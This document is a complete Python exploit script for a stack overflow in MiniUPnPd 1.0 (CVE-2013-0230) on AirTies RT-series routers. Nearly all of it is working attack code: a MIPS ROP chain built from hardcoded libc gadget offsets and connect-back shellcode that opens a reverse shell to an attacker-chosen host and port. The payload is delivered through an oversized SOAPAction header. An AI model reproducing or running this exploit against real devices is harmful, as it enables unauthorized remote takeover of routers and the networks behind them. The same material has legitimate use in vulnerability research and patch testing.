MiniUPnPd 1.0 Stack Overflow

`#!/usr/bin/env python  
  
# Exploit Title: MiniUPnPd 1.0 Stack Overflow RCE for AirTies RT Series  
# Date: 26.04.2015  
# Exploit Author: Onur ALANBEL (BGA)  
# Vendor Homepage: http://miniupnp.free.fr/  
# Version: 1.0  
# Architecture: MIPS  
# Tested on: AirTies RT-204v3  
# CVE : 2013-0230  
# Exploit gives a reverse shell to lhost:lport  
# Details: https://www.exploit-db.com/docs/36806.pdf  
  
import urllib2  
from string import join  
from argparse import ArgumentParser  
from struct import pack  
from socket import inet_aton  
  
BYTES = 4  
  
  
def hex2str(value, size=BYTES):  
data = ""  
  
for i in range(0, size):  
data += chr((value >> (8*i)) & 0xFF)  
  
data = data[::-1]  
  
return data  
  
  
arg_parser = ArgumentParser(prog="miniupnpd_mips.py", description="MiniUPnPd \  
CVE-2013-0230 Reverse Shell exploit for AirTies \  
RT Series, start netcat on lhost:lport")  
arg_parser.add_argument("--target", required=True, help="Target IP address")  
arg_parser.add_argument("--lhost", required=True, help="The IP address\  
which nc is listening")  
arg_parser.add_argument("--lport", required=True, type=int, help="The\  
port which nc is listening")  
  
args = arg_parser.parse_args()  
  
libc_base = 0x2aabd000  
ra_1 = hex2str(libc_base + 0x36860) # ra = 1. gadget  
s1 = hex2str(libc_base + 0x1636C) # s1 = 2. gadget  
sleep = hex2str(libc_base + 0x35620) # sleep function  
ra_2 = hex2str(libc_base + 0x28D3C) # ra = 3. gadget  
s6 = hex2str(libc_base + 0x1B19C) # ra = 4.gadget  
s2 = s6  
lport = pack('>H', args.lport)  
lhost = inet_aton(args.lhost)  
  
shellcode = join([  
"\x24\x11\xff\xff"  
"\x24\x04\x27\x0f"  
"\x24\x02\x10\x46"  
"\x01\x01\x01\x0c"  
"\x1e\x20\xff\xfc"  
"\x24\x11\x10\x2d"  
"\x24\x02\x0f\xa2"  
"\x01\x01\x01\x0c"  
"\x1c\x40\xff\xf8"  
"\x24\x0f\xff\xfa"  
"\x01\xe0\x78\x27"  
"\x21\xe4\xff\xfd"  
"\x21\xe5\xff\xfd"  
"\x28\x06\xff\xff"  
"\x24\x02\x10\x57"  
"\x01\x01\x01\x0c"  
"\xaf\xa2\xff\xff"  
"\x8f\xa4\xff\xff"  
"\x34\x0f\xff\xfd"  
"\x01\xe0\x78\x27"  
"\xaf\xaf\xff\xe0"  
"\x3c\x0e" + lport +  
"\x35\xce" + lport +  
"\xaf\xae\xff\xe4"  
"\x3c\x0e" + lhost[:2] +  
"\x35\xce" + lhost[2:4] +  
"\xaf\xae\xff\xe6"  
"\x27\xa5\xff\xe2"  
"\x24\x0c\xff\xef"  
"\x01\x80\x30\x27"  
"\x24\x02\x10\x4a"  
"\x01\x01\x01\x0c"  
"\x24\x0f\xff\xfd"  
"\x01\xe0\x78\x27"  
"\x8f\xa4\xff\xff"  
"\x01\xe0\x28\x21"  
"\x24\x02\x0f\xdf"  
"\x01\x01\x01\x0c"  
"\x24\x10\xff\xff"  
"\x21\xef\xff\xff"  
"\x15\xf0\xff\xfa"  
"\x28\x06\xff\xff"  
"\x3c\x0f\x2f\x2f"  
"\x35\xef\x62\x69"  
"\xaf\xaf\xff\xec"  
"\x3c\x0e\x6e\x2f"  
"\x35\xce\x73\x68"  
"\xaf\xae\xff\xf0"  
"\xaf\xa0\xff\xf4"  
"\x27\xa4\xff\xec"  
"\xaf\xa4\xff\xf8"  
"\xaf\xa0\xff\xfc"  
"\x27\xa5\xff\xf8"  
"\x24\x02\x0f\xab"  
"\x01\x01\x01\x0c"  
], '')  
  
payload = 'C'*2052 + s1 + 'C'*(4*4) + s6 + ra_1 + 'C'*28 + sleep + 'C'*40 + s2\  
+ ra_2 + 'C'*32 + shellcode  
  
  
soap_headers = {  
'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload,  
}  
  
soap_data = """  
<?xml version='1.0' encoding="UTF-8"?>  
<SOAP-ENV:Envelope  
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"  
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"  
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"  
>  
<SOAP-ENV:Body>  
<ns1:action xmlns:ns1="urn:schemas-upnp-org:service:WANIPConnection:1"\  
SOAP-ENC:root="1">  
</ns1:action>  
</SOAP-ENV:Body>  
</SOAP-ENV:Envelope>  
"""  
  
try:  
print "Exploiting..."  
req = urllib2.Request("http://" + args.target + ":5555", soap_data,  
soap_headers)  
res = urllib2.urlopen(req).read()  
except:  
print "Ok"  
  
`